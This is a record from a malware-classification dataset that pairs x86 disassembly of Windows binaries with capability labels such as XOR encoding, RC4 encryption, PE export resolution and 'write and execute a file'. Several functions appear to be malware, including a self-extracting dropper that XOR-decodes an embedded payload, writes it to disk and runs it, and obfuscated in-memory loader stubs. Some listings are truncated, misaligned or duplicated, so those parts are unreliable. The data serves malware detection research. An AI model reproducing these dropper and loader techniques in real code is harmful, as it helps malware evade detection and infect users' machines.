joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10072480
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x1007251b
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x100724d2
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x100724d2
cmp esi, ebx
jge 0x100724d2
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x10072515
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x10072515
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x100783d8]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x100783d8]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x1007252d
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc

Function at 0x10072750
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100bb860]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x10176180], 0
mov eax, dword [ebp + 8]
je 0x10072778
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x10072792
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.10074dbd
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10076730
leave
ret 4

Function at 0x10072960
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x100bb860]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x10176180], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x10072996
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x100729f5
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.10074dbd
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.10074dbd
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.10074dbd
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10076730
leave
ret 0x10
Function at 0x10072a10
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100bb860]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x10176180], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x10072a3c
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x10072a6d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x10072a6b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.10074dbd
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x10072a6d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10076730
leave
ret 8

Function at 0x10074dbd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x10074dcc
pop dword [ebp - 0x3c]
mov eax, 0x10074dcc
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x44bdf
push 0
mov eax, 0xfe31153
sub eax, 0xffdb9037
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x4f8e
mov ebx, eax
mov edx, 0x10187400
add edx, dword [ebp - 0x3c]
mov edi, 0x427659c1
sub edi, 0x3a5beb9f
sub dword [ebp - 0x20], edx
mov esi, dword [edx]
xor dword [ebp - 8], eax
add esi, edi
add dword [ebp - 0x18], 0xea140e83
mov dword [ebx], esi
sub dword [ebp - 0x28], esi
add ebx, 0xca58e158
sub ebx, 0xca58e154
add edx, 0x58d18312
sub edx, 0x58d1830e
loop 0x10074e1a
add eax, 0xfec974fd
sub eax, 0xfec843f2
mov ebx, eax
add eax, 0x1991fd76
sub eax, 0x1991fd71
mov ecx, 0x17ca8f55
sub ecx, 0x7ca8f55
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]

Function at 0x414de5
Capabilities:
Encode data using xor

Disassembly:
xor dword [edx], eax
add ebx, ebx
add ebx, 1
sub edi, 0xf55e1f4e
add edx, 4
cmp edx, ecx
jne fcn.00414de5
ret
Function at 0x10187751
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x20]
lea ecx, [esp + 0x30]
mov dword [0x1025f0a4], 0x215
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.10187405
lea ecx, [0x10187da0]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x40], edx
mov dword [esp + 0x60], 0x16fa00
mov edx, dword [0x1025f090]
mov dword [esp + 0x68], edx
mov edx, dword [0x1025f094]
mov dword [esp + 0x30], edx
mov edx, dword [0x1025f098]
mov dword [esp + 0x80], edx
mov edx, dword [0x1025f09c]
mov dword [esp + 0x48], edx
mov dword [0x1025f0a8], 0xe3
mov edx, dword [0x1025f0a0]
mov dword [esp + 0x54], edx
mov dword [0x1025f0a4], 0x200c
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
je 0x10187841
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x101877e2
mov eax, dword [esp + 0x10]
mov dword [esp + 0x74], eax
mov dword [0x1025f0a4], 0x51c
mov dword [0x1025f0a8], 0xd91
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x70], edx
call fcn.10187b0c
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
je 0x10187857
jmp 0x1018788b
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x10187805
jmp 0x101877f1
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.10188224
mov dword [0x1025f0a4], 0x2631
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x1018797a
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x1025f0a4], 0x1c03
mov dword [0x1025f0b0], 0
mov byte [0x1025f0b4], 0
mov dword [0x1025f0a8], 0x24ea
mov dword [0x1025f0ac], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x101879fd
mov dword [0x1025f0a4], 0x220a
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov dword [0x1025f0ac], 0
mov ecx, dword [0x1025f0a8]
add ecx, 0x1e91
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
jmp 0x10187a25
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1025f0ac]
add eax, 1
mov dword [0x1025f0ac], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x101879fd
jmp 0x101879dd
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov edx, 0x3f62
mov esi, 0x100
mov dword [ebp - 0x28], eax
mov eax, ecx
xor edi, edi
mov dword [ebp - 0x2c], edx
mov edx, edi
mov edi, dword [ebp - 0x10]
div edi
mov dword [0x1025f0b8], 0
mov dword [0x1025f0a4], 0x1142
mov ebx, dword [0x1025f0b0]
mov edi, dword [ebp - 0x18]
movzx edi, byte [edi + ecx]
add edi, ebx
mov ebx, dword [ebp - 0x14]
movzx edx, byte [ebx + edx]
add edi, edx
mov dword [0x1025f0b8], edi
mov edx, dword [ebp - 0x28]
mov dword [0x1025f0a4], edx
mov eax, edi
cdq
idiv esi
mov dword [0x1025f0b0], edx
mov esi, dword [ebp - 0x18]
mov bl, byte [esi + ecx]
mov byte [0x1025f0b4], bl
mov dword [0x1025f0a4], 0x25e7
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov dword [0x1025f0a4], 0x1870
mov bl, byte [0x1025f0b4]
mov ecx, dword [0x1025f0b0]
mov byte [esi + ecx], bl
mov dword [0x1025f0a8], 0x20d1
mov ecx, dword [0x1025f0ac]
add ecx, 1
mov dword [0x1025f0ac], ecx
cmp ecx, 0x100
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], edx
jl 0x10187a25
jmp 0x101879cb
Function at 0x10187b0c
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [0x1025f0a4], 0x46e
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x10187b7c
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x16], 0x61
mov dword [ebp - 0x18], eax
je 0x10187bd1
jmp 0x10187c47
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [0x1025f0a8], 0x1e5b
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x20], eax
jge 0x10187b92
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], edx
jne 0x10187b5b
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov dword [0x1025f0a4], 0xfffffb50
mov edx, dword [ebp - 0xc]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
jne 0x10187c47
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x18], 0x6f
mov dword [ebp - 0x18], eax
je 0x10187b42
jmp 0x10187c47
xor eax, eax
mov dword [0x1025f0a8], 0x128c
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x14], 0x64
mov dword [ebp - 0x18], eax
jne 0x10187c47
xor eax, eax
mov dword [0x1025f0a8], 0x752
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x12], 0x64
mov dword [ebp - 0x18], eax
jne 0x10187c47
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x18], eax
jne 0x10187c47
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x18], eax
jne 0x10187c47
mov eax, 1
mov dword [0x1025f0a8], 0x1f67
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add esp, 0x20
pop ebp
ret
Function at 0x10187c4f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [ebp + 8]
mov dword [0x1025f0a4], 0x8c6
mov dword [ebp - 0x10], eax
call fcn.1018869f
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov dword [0x1025f0a8], 0xd91
mov esi, dword [eax + esi + 0x78]
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x1025f0a4], 0x398
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x10187d95
jmp 0x10187ce1
mov eax, dword [ebp - 0x28]
mov ecx, eax
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x31], bh
mov byte [ebp - 0x32], cl
je 0x10187d68
jmp 0x10187d3b
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], ecx
jmp 0x10187d1c
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x1025f0a4], 0x1eda
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [ebp - 0x24], edx
jmp 0x10187d95
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + ecx*4]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edx
jmp 0x10187cb2
mov al, byte [ebp - 0x31]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x30]
add edx, 1
mov ah, byte [ebp - 0x32]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x28], edx
jne 0x10187cb2
mov al, byte [ebp - 0x32]
test al, 1
jne 0x10187cf5
jmp 0x10187d71
xor eax, eax
mov ecx, dword [ebp - 0x40]
add ecx, 2
mov edx, dword [ebp - 0x44]
add edx, 1
mov esi, dword [ebp - 0x18]
cmp edx, esi
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x24], eax
jb 0x10187d1c
mov eax, dword [ebp - 0x24]
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10188224
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x1025f0a8], 0x17db
mov dword [0x1025f0a4], 0x7e
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
jmp 0x1018825a
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
mov eax, dword [ebp - 0x30]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x10189996]
mov dh, byte [eax + 0x10189967]
sub dh, dl
mov byte [ebp + eax - 0x24], dh
cmp ecx, 0xe
mov dword [ebp - 0x30], ecx
jne 0x1018825a
lea eax, [ebp - 0x24]
mov dword [0x1025f0a4], 0x1856
mov dword [ebp - 0x34], eax
call fcn.10188376
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.10187237
mov dword [0x1025f0a8], 0x106f
cmp eax, 0
mov dword [ebp - 0x38], eax
je 0x10188252
mov eax, dword [ebp - 0x38]
mov dword [0x1025f0a4], 0x1e33
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x1025f0a4]
add ecx, 0x1ce4
mov dword [0x1025f0a8], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.10188443
xor eax, eax
mov dword [0x1025f0a8], 0x451
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x4c], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0x34], ecx
mov dword [0x1025f0a4], 0x20ba
add ecx, 0x21db
mov esi, dword [ebp - 0x3c]
cmp esi, 0
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
je 0x1018836d
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x1018882b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x44
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x1025f0ac], 0
mov dword [0x1025f0b0], 0
mov dword [0x1025f0bc], 0
mov ebx, dword [0x1025f0a4]
mov dword [ebp - 0x10], eax
mov eax, ebx
add eax, 0xffffde67
mov dword [0x1025f0a8], eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, edi
mov dword [ebp - 0x1c], eax
mov eax, edi
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], edi
je 0x101889b2
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x18]
mov ebx, 0x100
mov dword [ebp - 0x3c], eax
add eax, 1
add ecx, 0xffffde0f
add esi, 1
add edi, 0xfffffa42
mov dword [ebp - 0x40], eax
mov eax, esi
mov dword [ebp - 0x44], edx
cdq
idiv ebx
mov dword [0x1025f0ac], edx
mov dword [0x1025f0a4], ecx
mov ecx, dword [ebp - 0x30]
movzx esi, byte [ecx + edx]
mov ecx, dword [ebp - 0x44]
add esi, ecx
mov eax, esi
mov dword [ebp - 0x48], edx
cdq
idiv ebx
mov dword [0x1025f0b0], edx
mov dword [0x1025f0a4], edi
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x48]
mov cl, byte [ecx + esi]
mov byte [0x1025f0b4], cl
mov dword [0x1025f0a4], 0x206b
mov edi, dword [ebp - 0x30]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov dword [0x1025f0a4], 0x4fd
mov cl, byte [0x1025f0b4]
mov edx, dword [0x1025f0b0]
mov byte [edi + edx], cl
mov edx, dword [0x1025f0ac]
movzx edx, byte [edi + edx]
mov ebx, dword [0x1025f0b0]
movzx ebx, byte [edi + ebx]
add ebx, edx
mov dword [0x1025f0a8], 0x1b4e
and ebx, 0xff
mov dword [0x1025f0bc], ebx
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x28]
mov ebx, dword [ebp - 0x3c]
xor cl, byte [edx + ebx]
mov edx, dword [ebp - 0x2c]
mov byte [edx + ebx], cl
mov ecx, dword [0x1025f0a8]
mov edx, ecx
add edx, 0xfffff7f8
mov dword [0x1025f0a4], edx
mov esi, dword [ebp - 0x40]
mov edi, dword [ebp - 0x10]
cmp esi, edi
mov esi, ecx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], ecx
jne 0x101889c7
mov eax, dword [ebp - 0x24]
add eax, 0xfffff7a2
mov dword [0x1025f0a4], eax
add esp, 0x44
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x1025f0b0]
mov ecx, dword [0x1025f0ac]
mov edx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
mov edi, dword [ebp - 0x40]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], edi
jmp 0x101888ab
Function at 0x10002210
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x10]
cmp edi, 0xfffffffd
mov esi, ecx
jbe 0x10002223
call fcn.1001da60
mov eax, dword [esi + 4]
Function at 0x100027c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [esp + 0x14]
mov edi, dword [eax + ecx*4]
add edi, esi
mov eax, 0xffffffff
xor ebx, ebx
mov esi, ebx
cmp byte [edi + eax + 1], 0
lea eax, [eax + 1]
lea ebx, [ebx + 1]
jne 0x10002796
test eax, eax
je 0x100027d6
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul eax, edx
movsx ebx, byte [edi]
movzx ebx, bx
add eax, ebx
fadd dword [edi + 0x4e]
fadd dword [edi + 0x4e]
jne 0x100027b6
cmp eax, dword [esp + 0x10]
jne 0x100027de
jmp 0x100027f2
xor eax, eax
cmp eax, dword [esp + 0x10]
je 0x100027f2
inc ecx
cmp ecx, dword [esp + 4]
mov esi, dword [esp]
jne 0x10002786
mov eax, dword [esp + 0x2c]
movzx eax, word [eax + ecx*2]
mov ecx, dword [esp + 0xc]
mov eax, dword [ecx + eax*4]
add dword [ebx], 0x44892404
and al, 4

Function at 0x10002800
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [esp + 0x14]
mov edi, dword [eax + ecx*4]
add edi, esi
mov eax, 0xffffffff
xor ebx, ebx
mov esi, ebx
cmp byte [edi + eax + 1], 0
lea eax, [eax + 1]
lea ebx, [ebx + 1]
jne 0x10002796
test eax, eax
je 0x100027d6
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul eax, edx
movsx ebx, byte [edi]
movzx ebx, bx
add eax, ebx
fadd dword [edi + 0x4e]
fadd dword [edi + 0x4e]
jne 0x100027b6
cmp eax, dword [esp + 0x10]
jne 0x100027de
jmp 0x100027f2
xor eax, eax
cmp eax, dword [esp + 0x10]
je 0x100027f2
inc ecx
cmp ecx, dword [esp + 4]
mov esi, dword [esp]
jne 0x10002786
mov eax, dword [esp + 0x2c]
movzx eax, word [eax + ecx*2]
mov ecx, dword [esp + 0xc]
mov eax, dword [ecx + eax*4]
add dword [ebx], 0x44892404
and al, 4

Function at 0x10003110
Capabilities:
Encode data using xor

Disassembly:
movzx ecx, byte [esp + 0x20]
movzx edx, byte [esp + 0x21]
mov ch, byte [esp + 0x22]
mov dh, byte [esp + 0x23]
mov byte [esp], dh
mov dh, byte [esp + 0x24]
mov byte [esp + 4], dh
mov dh, byte [esp + 0x25]
mov byte [esp + 0x18], dh
mov dh, byte [esp + 0x26]
mov byte [esp + 0x10], dh
mov dh, byte [esp + 0x27]
je 0x10003036
daa
mov dword [esp + 0x34], edx
add ecx, edx
mov edx, dword [esp]
push ebx
call fcn.10003496
add esp, 4
mov edx, dword [esp + 8]
mov eax, dword [esp + 4]
mov dword [esp + 0xc], eax
jmp 0x1000313c
mov eax, dword [esp + 0x44]
sub eax, esi
sub eax, edi
mov ecx, dword [esp + 0x40]
sub ecx, esi
add ecx, 0xffffffef
cmp ecx, edi
lea esi, [esi + edi + 1]
mov dword [esp + 8], edx
mov ebx, dword [esp + 0x34]
jne 0x10002fe2
jmp 0x10003173
Function at 0x100059d0
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, ecx
push eax
mov ecx, dword [esi + 0x140]
push ecx
mov ecx, esi
call sym.WCUtil.dll_protected:_unsigned_long_int___thiscall_CZipArchive::CryptCRC32_unsigned_long_int__char_
mov edx, dword [esi + 0x144]
mov dword [esi + 0x140], eax
and eax, 0xff
mov ecx, esi
add eax, edx
imul eax, eax, 0x8088405
inc eax
mov dword [esi + 0x144], eax
shr eax, 0x18
mov byte [esp + 8], al
mov eax, dword [esi + 0x148]
mov edx, dword [esp + 8]
push edx
push eax
call sym.WCUtil.dll_protected:_unsigned_long_int___thiscall_CZipArchive::CryptCRC32_unsigned_long_int__char_
mov dword [esi + 0x148], eax
pop esi
ret 4